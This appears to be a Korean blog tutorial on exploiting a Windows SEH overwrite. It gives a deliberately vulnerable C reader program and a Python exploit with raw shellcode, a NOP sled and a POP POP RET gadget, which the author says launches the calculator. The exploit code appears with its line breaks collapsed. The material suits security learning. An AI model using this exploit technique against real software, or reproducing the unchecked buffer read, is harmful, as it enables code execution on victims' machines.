ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • SEH Overwrite
    Hack/Windows 2016. 6. 1. 05:07

    SEH를 모르면 전 글로 넘어가서 꼭 읽고오셔야해요


    기본이 중요하기때문에 꼭 읽고오세요


    #include <string.h>
    #include <stdio.h>
    #include <stdlib.h>
    
    int main(int argc, char *argv[])
    {
        char buf[256];
        printf("Daa\n");
        FILE *f = fopen(argv[1], "r");
        fgets(buf, 500, f);
        printf("Read: %s\n ", buf);
    }



    공격할 코드는 엄청쉬워요 바이너리에서 argv[1]을 받고 그것을 열어서 buf 에다가 써넣게되죠 buf는 256바이트인데 500바이트까지 받게되서 오버플로우가 발생하겠네요


    SEH를 전부 덮어볼게요



    건드리면 안될것을 건드려버렸어요


    한번 바이너리 흐름대로 실행시켜볼까요?



    스택끝을 넘어서게끔 채워준후 저렇게덮어주면 예외가발생해서 SE Handler에 담긴것이 call하는것을 확인할수있어요


    그럼 여기까지 알아보았으니까 이제 익스플로잇을 한번 해봐도 될거같으니까 해볼게요


    일단 DEP가 걸려있지않은 환경에서는 jmp 가젯을 만들어서 사용이 가능해요


    그러니까 jmp 를 통해서 SE Handler 바로뒤까지 점프를 시키는거에요 근데 SE Handler 가 실행되버릴거에요 DEP가 있으니까 일단 SE Handler에는 POP POP RET을 넣어준다면

    예외처리를 통해  SE Handler가 호출되면 POP POP RET이 실행될것이고, POP(4바이트) , 총 8바이트, esp + 8주소로 gogo, 그럼 다시 Record로 돌아가서 다시 jmp 명령을 수행해 그 뒤로 넘어가게되겠죠!


    그럼 pop pop ret 가젯을 찾아야하는데 편한 가젯찾는 도구들이존재하지만 저같은경우는 바이너리내에서 검색기능으로 찾았구요


    익스플로잇 코드는 다음과 같아요


    import struct import os,sys,time from subprocess import * p = lambda x:struct.pack("<L",x) up = lambda x:struct.unpack("<L",x) filename = "reader.exe" shellcode = "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a\x1c\x39\xbd" # proc = Popen(filename, stdin=PIPE ) payload = "\x90"*308 payload += p(0x909006eb) payload += p(0x4012a2) payload += shellcode payload += "\x90"*100 f = open("test.txt","w") f.write(payload) f.close()



    정말쉽죠? 두개의 가젯을넣어주고 스택끝까지 채워줘버리면 되는거에요


    test.txt를 reader.exe 인자로 주게되면 계산기가 실행되요



    꼭 6바이트 뛸 필요는없어요 그냥 엄청점프많이해줘도되구요 그건 스스로의 역할이지만 쉘코드위치만 제대로 맞춰서해주시면되요 nop으로 슬레딩 하셔도되구요


    'Hack > Windows' 카테고리의 다른 글

    SafeSEH 우회  (0) 2016.06.02
    Virtual Table(Vtable), Overwrite  (3) 2016.06.02
    SEH(Structured Exception Handling)  (0) 2016.06.01
    Windows BOF (ASLR)  (0) 2016.06.01
    Windows Calc Shellcode  (0) 2016.06.01

    댓글

Designed by Tistory.